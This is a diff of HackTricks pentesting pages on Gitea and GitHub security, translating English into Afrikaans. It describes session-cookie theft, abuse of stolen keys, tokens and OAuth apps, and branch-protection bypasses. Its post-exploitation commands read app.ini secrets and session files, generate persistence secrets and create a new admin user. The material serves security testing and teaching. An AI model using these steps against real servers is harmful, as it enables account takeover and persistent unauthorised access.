Kontroleer 'n YAML pypuntvoorbeeld wat aktiveer op nuwe verbintenisse na meester in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,142 +1,130 @@
|
||||
# Gitea Security
|
||||
# Gitea Veiligheid
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Gitea
|
||||
## Wat is Gitea
|
||||
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
**Gitea** is 'n **self-hosted gemeenskap bestuurde liggewig kode hosting** oplossing geskryf in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
## Laboratorium
|
||||
|
||||
Om 'n Gitea-instantie plaaslik te laat loop, kan jy eenvoudig 'n docker-container uitvoer:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Verbind met poort 3000 om die webblad te bekom.
|
||||
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
Jy kan dit ook met kubernetes uitvoer:
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Ongeauthentiseerde Enumerasie
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
- Publieke repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Geregistreerde gebruikers: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Geregistreerde Organisasies: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
Let daarop dat **Gitea standaard nuwe gebruikers toelaat om te registreer**. Dit sal nie spesiaal interessante toegang aan die nuwe gebruikers oor ander organisasies/gebruiker repos gee nie, maar 'n **ingelogde gebruiker** mag in staat wees om **meer repos of organisasies te visualiseer**.
|
||||
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
## Interne Exploitatie
|
||||
|
||||
## Internal Exploitation
|
||||
Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
### Met Gebruiker Kredensiale/Web Koekie
|
||||
|
||||
### With User Credentials/Web Cookie
|
||||
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het (of jy het 'n sessie koekie gesteel) kan jy **net inlog** en kyk watter **regte jy het** oor watter **repos,** in **watter spanne** jy is, **lys ander gebruikers**, en **hoe die repos beskerm word.**
|
||||
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Let daarop dat **2FA gebruik mag word** so jy sal slegs toegang tot hierdie inligting hê as jy ook **daardie toets kan slaag**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Let daarop dat as jy **slaag om die `i_like_gitea` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) kan jy **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
|
||||
|
||||
### With User SSH Key
|
||||
### Met Gebruiker SSH Sleutel
|
||||
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Gitea laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode namens hulle te ontplooi** (geen 2FA word toegepas nie).
|
||||
|
||||
Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter kan jy dit nie gebruik om toegang tot die gitea api te verkry om die omgewing te enumerate nie. Jy kan egter **lokale instellings enumerate** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy ingestel het** in sy rekening op _https://github.com/\<gitea_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG Sleutels
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Soos verduidelik [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.
|
||||
|
||||
Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Met Gebruikersteken
|
||||
|
||||
### With User Token
|
||||
Vir 'n inleiding oor [**Gebruikersteke kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** om te **verifieer** teen die Gitea bediener [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê.
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
### Met Oauth Toepassing
|
||||
|
||||
### With Oauth Application
|
||||
Vir 'n inleiding oor [**Gitea Oauth Toepassings kyk na die basiese inligting**](./#with-oauth-application).
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
|
||||
'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Soos verduidelik in die basiese inligting, sal die toepassing **volledige toegang oor die gebruikersrekening** hê.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
### Takbeskerming Omseiling
|
||||
|
||||
### Branch Protection Bypass
|
||||
In Github het ons **github aksies** wat standaard 'n **teken met skrywe toegang** oor die repo ontvang wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word:
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
- **Aktiveer Push**: As iemand met skrywe toegang na die tak kan push, push net daarna.
|
||||
- **Whitelist Beperkte Push**: Op dieselfde manier, as jy deel van hierdie lys is, push na die tak.
|
||||
- **Aktiveer Samevoeg Whitelist**: As daar 'n samevoeg whitelist is, moet jy binne dit wees.
|
||||
- **Vereis goedkeuring is groter as 0**: Dan... moet jy 'n ander gebruiker kompromitteer.
|
||||
- **Beperk goedkeuring tot whitelisted**: As slegs whitelisted gebruikers kan goedkeur... moet jy 'n ander gebruiker kompromitteer wat binne daardie lys is.
|
||||
- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te saamvoeg.
|
||||
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
Let daarop dat **as jy 'n org/repo admin is** jy die beskermings kan omseil.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
### Enumereer Webhooks
|
||||
|
||||
### Enumerate Webhooks
|
||||
**Webhooks** is in staat om **spesifieke gitea inligting na sekere plekke te stuur**. Jy mag in staat wees om **daardie kommunikasie te benut**.\
|
||||
E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, om **daardie webhook te benut**.\
|
||||
Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime te vind** en ander plekke wat jy verder kan benut.
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
Webhooks kan op **repo en org vlak** gestel word.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
## Post Exploitatie
|
||||
|
||||
## Post Exploitation
|
||||
### Binne die bediener
|
||||
|
||||
### Inside the server
|
||||
As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea konfigurasie lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini`
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
In hierdie lêer kan jy **sleutels** en **wagwoorde** vind.
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
In die gitea pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos:
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
- Die **sqlite** DB: As gitea nie 'n eksterne db gebruik nie, sal dit 'n sqlite db gebruik.
|
||||
- Die **sessies** binne die sessies gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor).
|
||||
- Die **jwt private sleutel** binne die jwt gids.
|
||||
- Meer **sensitiewe inligting** kan in hierdie gids gevind word.
|
||||
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
As jy binne die bediener is, kan jy ook **die `gitea` binêre** gebruik om inligting te bekom/wysig:
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
- `gitea dump` sal gitea dump en 'n .zip lêer genereer.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n teken van die aangeduide tipe genereer (volharding).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Verander die wagwoord.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangsteken.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,100 @@
|
||||
|
||||
## Basic Structure
|
||||
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie span** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. Binne die organisasie kan die gebruiker **verskillende toestemmings oor elke repository** hê.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
'n Gebruiker kan ook **deel wees van verskillende spanne** met verskillende toestemmings oor verskillende repos.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
En uiteindelik **kan repositories spesiale beskermingsmeganismes hê**.
|
||||
|
||||
## Permissions
|
||||
|
||||
### Organizations
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
Wanneer 'n **organisasie geskep word** word 'n span genaamd **Eienaars** **geskep** en die gebruiker word daarin geplaas. Hierdie span sal **admin toegang** oor die **organisasie** gee, daardie **toestemmings** en die **naam** van die span **kan nie gewysig word** nie.
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
**Org admins** (eienaars) kan die **sigbaarheid** van die organisasie kies:
|
||||
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
- Publiek
|
||||
- Beperk (slegs ingelogde gebruikers)
|
||||
- Privaat (slegs lede)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
**Org admins** kan ook aandui of die **repo admins** **toegang kan voeg of verwyder** vir spanne. Hulle kan ook die maksimum aantal repos aandui.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
Wanneer 'n nuwe span geskep word, word verskeie belangrike instellings gekies:
|
||||
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
- Dit word aangedui watter **repos van die org die lede van die span toegang sal hê**: spesifieke repos (repos waar die span bygevoeg is) of almal.
|
||||
- Dit word ook aangedui **of lede nuwe repos kan skep** (die skepper sal admin toegang tot dit kry)
|
||||
- Die **toestemmings** wat die **lede** van die repo **sal hê**:
|
||||
- **Administrateur** toegang
|
||||
- **Spesifieke** toegang:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur die org) die **rolle** wat aan samewerkers (ander gebruikers) en spanne gegee word, **bestuur**. Daar is **3** moontlike **rolle**:
|
||||
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
- Administrateur
|
||||
- Skryf
|
||||
- Lees
|
||||
|
||||
## Gitea Authentication
|
||||
|
||||
### Web Access
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
Gebruik **gebruikersnaam + wagwoord** en moontlik (en aanbeveel) 'n 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van commits sonder 'n handtekening**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. 'n Persoonlike toegangstoken gee volle toegang oor jou rekening: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
Net soos persoonlike toegangstokens sal **Oauth applications** **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
Deploy sleutels kan slegs lees- of skryftoegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Branch beskermings is ontwerp om **nie volledige beheer van 'n repository** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode in 'n sekere tak te skryf**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
Die **branch beskermings van 'n repository** kan gevind word in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Dit is **nie moontlik om 'n branch beskerming op organisasievlak in te stel nie**. So al hulle moet op elke repo verklaar word.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Verskillende beskermings kan op 'n tak toegepas word (soos op master):
|
||||
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
- **Deaktiveer Push**: Niemand kan na hierdie tak push nie
|
||||
- **Aktiveer Push**: Enigeen met toegang kan push, maar nie force push nie.
|
||||
- **Whitelist Beperkte Push**: Slegs geselekteerde gebruikers/spanne kan na hierdie tak push (maar geen force push nie)
|
||||
- **Aktiveer Merge Whitelist**: Slegs whitelisted gebruikers/spanne kan PRs saamvoeg.
|
||||
- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat dit saamgevoeg word.
|
||||
- **Vereis goedkeuring**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word.
|
||||
- **Beperk goedkeuringe tot whitelisted**: Dui gebruikers/spanne aan wat PRs kan goedkeur.
|
||||
- **Blokkeer saamvoeg op verwerkte hersienings**: As veranderinge aangevra word, kan dit nie saamgevoeg word nie (selfs as die ander kontroles slaag)
|
||||
- **Blokkeer saamvoeg op amptelike hersieningsversoeke**: As daar amptelike hersieningsversoeke is, kan dit nie saamgevoeg word nie
|
||||
- **Verwerp verouderde goedkeuringe**: Wanneer nuwe commits gemaak word, sal ou goedkeuringe verwerp word.
|
||||
- **Vereis Onderteken Commits**: Commits moet onderteken wees.
|
||||
- **Blokkeer saamvoeg as die pull request verouderd is**
|
||||
- **Beskermde/onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhoed om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,42 @@
|
||||
# Github Security
|
||||
# Github Veiligheid
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Github
|
||||
## Wat is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Op 'n hoë vlak, **GitHub is 'n webwerf en wolk-gebaseerde diens wat ontwikkelaars help om hul kode te stoor en te bestuur, sowel as om veranderinge aan hul kode te volg en te beheer**.
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## External Recon
|
||||
## Eksterne Recon
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Github repositories kan gekonfigureer word as publiek, privaat en intern.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê
|
||||
- **Intern** beteken dat **slegs** mense van die **onderneming** ( 'n onderneming kan verskeie organisasies hê) toegang sal hê
|
||||
- **Publiek** beteken dat **alle internet** toegang sal hê.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
Github laat jou toe om **vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer**. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik **soek na potensiële sensitiewe inligting in jou teiken**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
Gereedskap (elke gereedskap bevat sy lys van dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks lys](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks lys](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks lys](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
### Github Lekke
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Let asseblief daarop dat die github dorks ook bedoel is om te soek na lekke deur gebruik te maak van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat **elke repo sal aflaai en soek na sensitiewe inligting daarin** (selfs sekere diepte van verbintenisse nagaan).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
Gereedskap (elke gereedskap bevat sy lys van regexes):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag **ander takke met ander verbintenisse** wees wat geheime bevat nie!
|
||||
|
||||
### External Forks
|
||||
### Eksterne Forks
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
|
||||
Dit is moontlik om **repos te kompromitteer deur pull versoeke te misbruik**. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. [**Meer inligting hieroor hieronder**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
### Github Lekke in verwyderde/intern forks
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
Selfs al is dit verwyder of intern, mag dit moontlik wees om sensitiewe data van forks van github repositories te verkry. Kyk dit hier:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Organization Hardening
|
||||
## Organisasie Versterking
|
||||
|
||||
### Member Privileges
|
||||
### Lid Privileges
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations/<org_name>/settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
